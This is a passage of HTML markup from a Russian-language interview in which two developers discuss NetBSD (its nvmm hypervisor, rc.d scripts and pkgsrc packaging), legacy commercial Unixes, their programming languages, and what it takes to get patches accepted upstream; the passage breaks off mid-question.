    &lt;img src=&quot;https://img1.teletype.in/files/41/a7/41a7772d-fbd6-490f-8733-63d9c6181fb2.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;fPm2&quot;&gt;NetBSD и nvmm&lt;/h2&gt;
  &lt;p id=&quot;wVau&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;MobF&quot;&gt;А какие фишки именно NetBSD ты чаще всего используешь? Что из нового есть интересное? &lt;/p&gt;
  &lt;p id=&quot;rdV0&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;DQYe&quot;&gt;Ну например в десятую версию добавили &lt;a href=&quot;https://www.netbsd.org/docs/guide/en/chap-virt.html&quot; target=&quot;_blank&quot;&gt;nvmm&lt;/a&gt;. &lt;/p&gt;
  &lt;p id=&quot;MyBV&quot;&gt;Это штуковина, которая позволяет запускать виртуальные машины без существенной потери производительности. &lt;/p&gt;
  &lt;blockquote id=&quot;QeM6&quot;&gt;Гипервизор уровня ядра, вроде KVM в линуксе. &lt;/blockquote&gt;
  &lt;p id=&quot;eHsD&quot;&gt;В десятке это наиболее значительная вещь, как мне кажется.&lt;/p&gt;
  &lt;p id=&quot;3LW8&quot;&gt;Из нового. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;XuSA&quot;&gt;А в целом я её использую, потому что она няшная. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;yEDQ&quot;&gt;Садишься за FreeBSD и руки трясутся от того, что что-нибудь сейчас развалится. Файловая система полетит или что-нибудь выдаст &lt;code&gt;Segmentation Fault&lt;/code&gt;. Садишься за какой-нибудь &lt;a href=&quot;https://en.wikipedia.org/wiki/Oracle_Solaris&quot; target=&quot;_blank&quot;&gt;Solaris&lt;/a&gt; и думаешь: &lt;/p&gt;
  &lt;blockquote id=&quot;yYoL&quot;&gt;Боже, какое убожество. &lt;/blockquote&gt;
  &lt;figure id=&quot;PJtf&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/83/0e/830ee2c1-c71d-49d5-ad00-ab8d6db91702.jpeg&quot; width=&quot;1024&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;RvKT&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;SMuQ&quot;&gt;Хочешь сказать, у тебя и Солярис ещё остался? &lt;/p&gt;
  &lt;p id=&quot;w4bD&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;EeVB&quot;&gt;Ну я по &lt;code&gt;ssh&lt;/code&gt; к нему захожу и тестирую свои разработки на Solaris, в том числе. SSH-доступ у меня есть на десятку, на девятку и на одиннадцатую версию.&lt;/p&gt;
  &lt;p id=&quot;1Laz&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;96an&quot;&gt;А это какой именно Solaris? Современный или что-то историческое? &lt;/p&gt;
  &lt;p id=&quot;CkCO&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;aEWq&quot;&gt;Есть 10й и 11й на SPARC, это уже Oracle Solaris. Еще есть доступ к Illumos — вчерашний OpenSolaris. &lt;/p&gt;
  &lt;p id=&quot;1Zcw&quot;&gt;Тестирую на всём, да. &lt;/p&gt;
  &lt;h2 id=&quot;KMlR&quot;&gt;Про старые UNIX&lt;/h2&gt;
  &lt;p id=&quot;oFTH&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;jsIm&quot;&gt;Поддержка портабельности это то что стараюсь делать и в своих личных проектах тоже. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;WZ2x&quot;&gt;Для меня слово Unix значит гораздо больше, чем слово Linux для некоторых. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;Fl9r&quot;&gt;Поэтому все что я делаю, переносимо вплоть до Соляриса, десятого точно. &lt;/p&gt;
  &lt;p id=&quot;VO1P&quot;&gt;До портирования на &lt;a href=&quot;https://en.wikipedia.org/wiki/IBM_AIX&quot; target=&quot;_blank&quot;&gt;AIX&lt;/a&gt; ещё не дошел, есть SSH на такую систему, изучаю особенности системы. &lt;/p&gt;
  &lt;p id=&quot;3ZVz&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;ry5c&quot;&gt;Это очень специфичные системы, которые находятся в режиме глубокого сопровождения, если и выпускаются патчи, то только патчи безопасности. &lt;/p&gt;
  &lt;p id=&quot;ehaJ&quot;&gt;Как-то так. &lt;/p&gt;
  &lt;p id=&quot;lPnt&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;BznB&quot;&gt;А точно не развивается вообще? &lt;/p&gt;
  &lt;p id=&quot;n6rB&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;33FG&quot;&gt;Насколько мне известно нет. &lt;/p&gt;
  &lt;p id=&quot;9mpL&quot;&gt;Остатки разработки как HP-UX так и AIX перенесли в Индию. И сейчас все это находится в режиме сопровождения. &lt;/p&gt;
  &lt;p id=&quot;PgPw&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;BF9Q&quot;&gt;Ну это дорогущие коммерческие системы, коммерческие юниксы, что с ними будет дальше — не знаю. &lt;/p&gt;
  &lt;figure id=&quot;FgKs&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/4f/96/4f96907d-ca0e-4709-a392-c911ae5612cd.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;jMLO&quot;&gt;NetBSD для новичков&lt;/h2&gt;
  &lt;p id=&quot;nZMI&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;pjWQ&quot;&gt;Допустим, кто-то сейчас захочет использовать NetBSD — что ему делать? &lt;/p&gt;
  &lt;p id=&quot;KAJc&quot;&gt;Как во всю эту историю входить? &lt;/p&gt;
  &lt;p id=&quot;NSZR&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;gNjs&quot;&gt;Ну для начала смириться, что NetBSD это не Linux. &lt;/p&gt;
  &lt;p id=&quot;YrYn&quot;&gt;Если вы привыкли в линуксе к чему-то, то вам придётся признать, что BSD — любая BSD и NetBSD в частности это не Linux. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;PQbI&quot;&gt;Там всё по-другому, абсолютно всё. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;KRjf&quot;&gt;Например, там нет вашего любимого &lt;code&gt;systemd&lt;/code&gt;. Привыкайте к тому, что его там нет и не будет никогда. &lt;/p&gt;
  &lt;p id=&quot;WSwp&quot;&gt;Надеюсь. &lt;/p&gt;
  &lt;p id=&quot;7ntK&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;XQAL&quot;&gt;Там куда более лютая система. &lt;/p&gt;
  &lt;h2 id=&quot;Z34D&quot;&gt;NetBSD и rc-скрипты&lt;/h2&gt;
  &lt;p id=&quot;0QIv&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;coBo&quot;&gt;В NetBSD в 2000м году придумали &lt;a href=&quot;http://mewburn.net/luke/papers/rc.d.pdf&quot; target=&quot;_blank&quot;&gt;rc.d.&lt;/a&gt; &lt;/p&gt;
  &lt;p id=&quot;63fN&quot;&gt;До этого был просто &lt;code&gt;rc&lt;/code&gt; или &lt;code&gt;rc.local&lt;/code&gt;, куда руками вписывался запуск необходимых демонов в нужном тебе порядке. &lt;/p&gt;
  &lt;p id=&quot;aCwa&quot;&gt;Так вот, в NetBSD сделали &lt;code&gt;rc.d&lt;/code&gt;, который тогда же, примерно в начале двухтысячных годов перенесли в FreeBSD. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;Utvr&quot;&gt;Так что фрибздшная система скриптов запуска взята изначально из NetBSD. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;yiOt&quot;&gt;По-моему, используется там до сих пор. &lt;/p&gt;
  &lt;p id=&quot;Haih&quot;&gt;Она намного проще, чем допустим система скриптов запуска в Линуксе и в Солярисе. И на мой взгляд намного приятнее. &lt;/p&gt;
  &lt;blockquote id=&quot;WtdG&quot;&gt;Если бы был адептом Линукса, я бы туда &lt;code&gt;rc.d&lt;/code&gt; втащил и был бы счастлив. &lt;/blockquote&gt;
  &lt;p id=&quot;LF74&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;53Ph&quot;&gt;На самом деле существуют дистрибутивы с таким &lt;code&gt;rc&lt;/code&gt;, вроде Slackware Linux использует такую систему скриптов. &lt;/p&gt;
  &lt;h2 id=&quot;nOTf&quot;&gt;NetBSD и флешки&lt;/h2&gt;
  &lt;p id=&quot;VE3o&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;Ww0D&quot;&gt;Ну от &lt;code&gt;systemd&lt;/code&gt; честно говоря сам не в восторге, зато вам в NetBSD втащили DBus не так давно. Я его там точно видел. &lt;/p&gt;
  &lt;p id=&quot;amGs&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;IfSO&quot;&gt;Ну, меня он пока не беспокоит, честно говоря. &lt;/p&gt;
  &lt;p id=&quot;3kyK&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;6CjE&quot;&gt;Ну а как USB-диски подключать? Или ты вручную монтируешь? &lt;/p&gt;
  &lt;p id=&quot;TSIP&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;iyCO&quot;&gt;Я всю вручную монтирую, я старпёр, извините. &lt;/p&gt;
  &lt;p id=&quot;Vurf&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;KVVE&quot;&gt;Всё понятно. &lt;/p&gt;
  &lt;p id=&quot;rjMp&quot;&gt;Ну в FreeBSD это всё живёт уже очень давно. Там, слава богу, от HAL (Hardware Abstraction Layer) избавились, оставили только DBus. &lt;/p&gt;
  &lt;p id=&quot;4Gex&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;ndhG&quot;&gt;Честно сказать, флешками вообще практически не пользуюсь. При наличии интернета зачем таскать что-то на флешках? &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;iMtN&quot;&gt;Какие-то физические устройства и на них что-то записывают — я этого не очень понимаю. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;fpDM&quot;&gt;То есть у меня проблемы такой нету. &lt;/p&gt;
  &lt;p id=&quot;sQnR&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;p0IZ&quot;&gt;Интернет есть не везде.&lt;/p&gt;
  &lt;p id=&quot;jlWq&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;87qr&quot;&gt;Ну я как-то вот не сталкиваюсь с необходимостью что-то втыкать в свой компьютер, если честно. &lt;/p&gt;
  &lt;p id=&quot;ztIm&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;DPwS&quot;&gt;Везёт, что тут скажешь. &lt;/p&gt;
  &lt;p id=&quot;UbQV&quot;&gt;Вот мы сейчас видео пишем, часть придётся перебрасывать как раз через флешки, потому что оно всё большое. &lt;/p&gt;
  &lt;figure id=&quot;EBAj&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d0/ad/d0ad3f40-a7fc-42d2-84c3-d0cdec5bb0c4.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;yHYF&quot;&gt;Алексей и языки программирования&lt;/h2&gt;
  &lt;p id=&quot;OgNN&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;cLNL&quot;&gt;Насколько понимаю, набор языков программирования, которые ты используешь — очень и очень большой.&lt;/p&gt;
  &lt;p id=&quot;7aI0&quot;&gt;Расскажи подрастающему поколению. &lt;/p&gt;
  &lt;p id=&quot;ngqg&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;xCVh&quot;&gt;В разное время я писал на разном. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;gEdI&quot;&gt;Начинал с Pascal. Если взять совсем с детства, то начинал с Focal, BASIC и машинных кодов. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;6Zy4&quot;&gt;Уже потом, в университете, писал на Паскале. &lt;/p&gt;
  &lt;p id=&quot;PZ8B&quot;&gt;Первая работа на госконтору была на Turbo Pascal 7.0, от Borland. &lt;/p&gt;
  &lt;blockquote id=&quot;tg5X&quot;&gt;Потом C, C++, всякие скрипты, awk, шелл-скрипты, Ruby, Java, Коtlin. &lt;/blockquote&gt;
  &lt;p id=&quot;JpCa&quot;&gt;Самый няшный из перечисленного — Kotlin. &lt;/p&gt;
  &lt;p id=&quot;VvXm&quot;&gt;Вот такой странный набор. &lt;/p&gt;
  &lt;p id=&quot;NPEP&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;CRgK&quot;&gt;Спрашивал Алексея заранее насчёт Scala. Как-то так получилось, что Scala при всем этом он обошел стороной. &lt;/p&gt;
  &lt;p id=&quot;Bxbe&quot;&gt;Удивительно! &lt;/p&gt;
  &lt;h2 id=&quot;Po0q&quot;&gt;Про функциональное программирование&lt;/h2&gt;
  &lt;p id=&quot;axin&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;Qm9U&quot;&gt;Я не люблю функциональщину, честно говоря. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;u7K5&quot;&gt;Она нерабочая. &lt;/p&gt;
  &lt;p id=&quot;qU1L&quot;&gt;Все эти Haskell, они конечно применимы в узких нишах, но для реального использования это всё не годится. &lt;/p&gt;
  &lt;p id=&quot;niuH&quot;&gt;Как-то так сложилось, что я сталкиваюсь с задачами, требовательными к производительности и не могу защищать диссертации по алгоритмам, изобретённым в шестидесятые, пытаясь «натянуть уже на ежа». &lt;/p&gt;
  &lt;blockquote id=&quot;bWLT&quot;&gt;Я не буду делать функциональщину там, где мне давно известен императивный алгоритм.&lt;/blockquote&gt;
  &lt;p id=&quot;7NuC&quot;&gt;Не буду это делать, поскольку меня просто уволят за такое, если если вдруг не справлюсь. &lt;/p&gt;
  &lt;figure id=&quot;5Lmo&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/74/85/7485c81b-222b-4cab-b435-8f9caf334a74.png&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;GRbq&quot;&gt;Kotlin и NetBSD&lt;/h2&gt;
  &lt;p id=&quot;nOtX&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;xDbV&quot;&gt;Кстати, а Kotlin и NetBSD у тебя получается сочетать? Работать с Kotlin непосредственно в NetBSD? &lt;/p&gt;
  &lt;p id=&quot;Nngc&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;asU2&quot;&gt;Вот кстати нет. &lt;/p&gt;
  &lt;p id=&quot;Dx6N&quot;&gt;Для разработки на Kotlin использую Linux. Не потому что это невозможно в принципе, а потому что просто слишком сложно и долго компилировать среду разработки Intellij Idea для NetBSD. &lt;/p&gt;
  &lt;p id=&quot;4Aw0&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;DMVf&quot;&gt;А я это сделал! Есть сборка Intellij Idea, которая прям работает на NetBSD. &lt;/p&gt;
  &lt;blockquote id=&quot;LaC4&quot;&gt;На момент написания текстовой версии, шла работа по сборке Kotlin на FreeBSD — будет в отдельной статье.&lt;/blockquote&gt;
  &lt;p id=&quot;N4r3&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;ohmA&quot;&gt;Надо мне это тоже сделать и запакетировать Kotlin наконец. &lt;/p&gt;
  &lt;figure id=&quot;Gxi4&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c4/1d/c41d5d45-d4fd-49c2-95cd-e4ddd5b3cf9f.png&quot; width=&quot;1601&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;VEup&quot;&gt;Алексей и Alt Linux&lt;/h2&gt;
  &lt;p id=&quot;KIgk&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;dhun&quot;&gt;С линуксом я знаком намного дольше чем с NetBSD и являюсь давним пользователем Alt Linux тоже. &lt;/p&gt;
  &lt;p id=&quot;mftU&quot;&gt;В него я тоже коммичу, на уровне пакетов. &lt;/p&gt;
  &lt;p id=&quot;vDFv&quot;&gt;&lt;em&gt;alex0x08 &lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;9EJV&quot;&gt;Опыт, получается — глобальный.&lt;/p&gt;
  &lt;p id=&quot;yyB5&quot;&gt;Коль у тебя такой глобальный опыт в качестве коммитера, расскажи как вообще это происходит? &lt;/p&gt;
  &lt;blockquote id=&quot;DJ7e&quot;&gt;Потому что например у меня часто не получается договориться. &lt;/blockquote&gt;
  &lt;p id=&quot;Nwb3&quot;&gt;Есть много своих наработок, которые хочется людям выдать, но постоянно что-то мешает. Где-то это сложная регуляция, где-то просто людям пишешь, а они не отвечают. &lt;/p&gt;
  &lt;p id=&quot;jmp5&quot;&gt;Как у тебя коммуникация выстраивается? &lt;/p&gt;
  &lt;figure id=&quot;Z5t6&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b6/c4/b6c482d7-09c4-44e8-941c-dbbf51ff2bf6.png&quot; width=&quot;744&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;m8rm&quot;&gt;Проект Heirloom&lt;/h2&gt;
  &lt;p id=&quot;J4As&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;7BkG&quot;&gt;Расскажу одну интересную историю. &lt;/p&gt;
  &lt;p id=&quot;5Fa8&quot;&gt;Есть один проект, называется &lt;a href=&quot;https://heirloom.sourceforge.net/&quot; target=&quot;_blank&quot;&gt;Heirloom&lt;/a&gt;. &lt;/p&gt;
  &lt;blockquote id=&quot;6aVi&quot;&gt;Это набор утилит, написанный компанией Caldera давным-давно, на рубеже веков. &lt;/blockquote&gt;
  &lt;p id=&quot;Z07t&quot;&gt;И это один из проектов, который я пакетировал в &lt;code&gt;pkgsrc&lt;/code&gt;. &lt;/p&gt;
  &lt;p id=&quot;lVW6&quot;&gt;Ну и пока я его пакетировал, естественно возникли вопросы к сборке. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;VvsM&quot;&gt;Как уже было сказано, pkgsrc это система кроссплатформенная и собирается на всём. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;dg12&quot;&gt;И среди операционных систем, в которых я был заинтересован, была такая система как &lt;a href=&quot;https://en.wikipedia.org/wiki/Interix&quot; target=&quot;_blank&quot;&gt;Interix&lt;/a&gt;.&lt;/p&gt;
  &lt;p id=&quot;0855&quot;&gt;Это такой древний предок WSL, подсистема Unix для Windows. &lt;/p&gt;
  &lt;figure id=&quot;0sa2&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/1e/14/1e142325-386e-4b9f-bdf7-5e3dc73dc388.png&quot; width=&quot;800&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;6HSn&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;HwRk&quot;&gt;Такой был забавный юникс внутри винды, под названием Интерикс. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;ncz8&quot;&gt;И вот этот самый Heirloom под Interix не собирался. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;oAFD&quot;&gt;Автору прислал патчи и говорю: &lt;/p&gt;
  &lt;blockquote id=&quot;EsPi&quot;&gt;Слушай, приложи вот эти штуки. Мне для Interix нужно, чтобы оно собиралось. &lt;/blockquote&gt;
  &lt;p id=&quot;X0t8&quot;&gt;Он мне отвечает: &lt;/p&gt;
  &lt;blockquote id=&quot;60GT&quot;&gt;I don&amp;#x27;t support Windows. До свидания. &lt;/blockquote&gt;
  &lt;p id=&quot;1FYw&quot;&gt;Так что взаимодействие бывает и таким, причем регулярно. &lt;/p&gt;
  &lt;p id=&quot;arnE&quot;&gt;Еще часто сталкиваюсь с линуксоидами, которые не заинтересованы в поддержке чего-либо кроме Линукса. &lt;/p&gt;
  &lt;p id=&quot;ss4g&quot;&gt;Такие в последнее время встречаются, в целом этот процесс с патчами — долгий и болезненный.&lt;/p&gt;
  &lt;p id=&quot;aG6s&quot;&gt;Но если умеешь с буржуями общаться, если достаточно вежлив — всё получается, так или иначе. &lt;/p&gt;
  &lt;p id=&quot;lb4K&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;wxSi&quot;&gt;Короче если выдаёте патч для известной системы, который исправляет важную проблему — его примут, с большой радостью и охотой.&lt;/p&gt;
  &lt;p id=&quot;cVvZ&quot;&gt;А если нет, то нет ;)&lt;/p&gt;
  &lt;p id=&quot;TSRM&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;szSg&quot;&gt;Да, это занимает много времени. &lt;/p&gt;
  &lt;p id=&quot;GNGc&quot;&gt;Это может кому-то не нравится. Айтишники многие не очень-то любят общаться в принципе. &lt;/p&gt;
  &lt;p id=&quot;IAJp&quot;&gt;Поэтому взаимодействовать с людьми, если хочешь что-то добиться, нужно этому учиться. Иногда приходится блин и поуговаривать кого-то. &lt;/p&gt;
  &lt;p id=&quot;cWyd&quot;&gt;Не без этого. &lt;/p&gt;
  &lt;figure id=&quot;XEIt&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/16/5f/165f8e5e-3951-410c-b1ff-9c452dc7b446.jpeg&quot; width=&quot;1000&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;Ghtd&quot;&gt;Еще про pkgsrc&lt;/h2&gt;
  &lt;p id=&quot;dzKY&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;XG56&quot;&gt;Еще из интересного.&lt;/p&gt;
  &lt;p id=&quot;zG3j&quot;&gt;Есть контора называется &lt;a href=&quot;http://www.joyent.com/&quot; target=&quot;_blank&quot;&gt;Joyent&lt;/a&gt;, которая взялась в своё время сделать поддержку pkgsrc для &lt;a href=&quot;https://en.wikipedia.org/wiki/Illumos&quot; target=&quot;_blank&quot;&gt;Illumos&lt;/a&gt; (форк OpenSolaris). &lt;/p&gt;
  &lt;p id=&quot;qU02&quot;&gt;И они таки её сделали. &lt;/p&gt;
  &lt;p id=&quot;lJHb&quot;&gt;Представляете, под Solaris поддерживается &lt;code&gt;pkgsrc&lt;/code&gt; на таком же высоком уровне как и для NetBSD. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;pwFE&quot;&gt;В пакетах под Illumos компилируется чуть меньше, чем под NetBSD. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;EJ2k&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;PfCC&quot;&gt;Когда-то проект &lt;a href=&quot;https://en.wikipedia.org/wiki/DragonFly_BSD&quot; target=&quot;_blank&quot;&gt;DragonflyBSD&lt;/a&gt; был на на развилке в выборе пакетной системы, они отказались на тот момент (лет 10 тому назад) от системы портов из FreeBSD.&lt;/p&gt;
  &lt;p id=&quot;O59A&quot;&gt;Они пришли в NetBSD и один чувак &lt;a href=&quot;https://github.com/jsonn&quot; target=&quot;_blank&quot;&gt;Jorg Sonnenberger&lt;/a&gt; из NetBSD Community в одиночку, примерно за год обеспечил поддержку &lt;code&gt;pkgsrc&lt;/code&gt; на DragonflyBSD, причем на очень высоком уровне. &lt;/p&gt;
  &lt;blockquote id=&quot;4XZW&quot;&gt;Под Dragonfly pkgsrc собирал больше пакетов, чем под NetBSD. &lt;/blockquote&gt;
  &lt;p id=&quot;Jo4s&quot;&gt;Так что комьюнити &lt;code&gt;pkgsrc&lt;/code&gt; заинтересовано в портируемости всех своих пакетов на все возможные операционки. &lt;/p&gt;
  &lt;p id=&quot;vX3J&quot;&gt;Но есть одна сложность: &lt;/p&gt;
  &lt;blockquote id=&quot;Eqha&quot;&gt;человек, пишущий патчи, должен разбираться и в Solaris и в OpenBSD, и в линуксе и делать патч таким образом, чтобы ничего не сломать. &lt;/blockquote&gt;
  &lt;p id=&quot;ITE8&quot;&gt;Это сложный процесс, но коммьюнити, которое бережно к этому относится уже сформировалось. &lt;/p&gt;
  &lt;p id=&quot;91Tb&quot;&gt;Так что приходите. &lt;/p&gt;
  &lt;p id=&quot;OpGZ&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;7xO1&quot;&gt;А количество пакетов, пакетная база — сколько примерно? &lt;/p&gt;
  &lt;p id=&quot;ZVmE&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;cZLQ&quot;&gt;Точно не скажу, но их намного больше, чем в OpenBSD, хотя конечно меньше, чем в портах FreeBSD. &lt;/p&gt;
  &lt;h2 id=&quot;fjI6&quot;&gt;Что такое WIP&lt;/h2&gt;
  &lt;p id=&quot;z1qD&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;pjxT&quot;&gt;Есть в &lt;code&gt;pkgsrc&lt;/code&gt; точка вхождения, называется &lt;a href=&quot;https://pkgsrc.org/wip/&quot; target=&quot;_blank&quot;&gt;WIP&lt;/a&gt;. &lt;/p&gt;
  &lt;blockquote id=&quot;zOgN&quot;&gt;WIP — сокращение от «Work In Progress», т. е. «находится в разработке».&lt;/blockquote&gt;
  &lt;p id=&quot;CN8c&quot;&gt;Куда может прийти любой человек. &lt;/p&gt;
  &lt;p id=&quot;R1hH&quot;&gt;Уметь коммитить для этого совершенно не обязательно. И в этом самом WIP есть один ключевой разработчик, которого я уже упомянул — австриец &lt;a href=&quot;https://github.com/0-wiz-0&quot; target=&quot;_blank&quot;&gt;Thomas Klausner&lt;/a&gt;. &lt;/p&gt;
  &lt;p id=&quot;Kme5&quot;&gt;Приходите к нему, заводите аккаунт. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;mM75&quot;&gt;WIP это площадка для всех новичков. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;puzS&quot;&gt;Тут можно поиграться, запакетировать все чего вам не хватает. &lt;/p&gt;
  &lt;p id=&quot;IQGe&quot;&gt;Попросите кого-нибудь из девелоперов, например меня ваш пакет проверить и закоммитить в основную ветку. Если он собирается, то все будет хорошо. &lt;/p&gt;
  &lt;p id=&quot;dn7D&quot;&gt;Такая тестовая площадка для всех. &lt;/p&gt;
  &lt;h2 id=&quot;sIx8&quot;&gt;Реальное использование NetBSD&lt;/h2&gt;
  &lt;p id=&quot;HtTQ&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;8LMk&quot;&gt;Ещё вопрос. &lt;/p&gt;
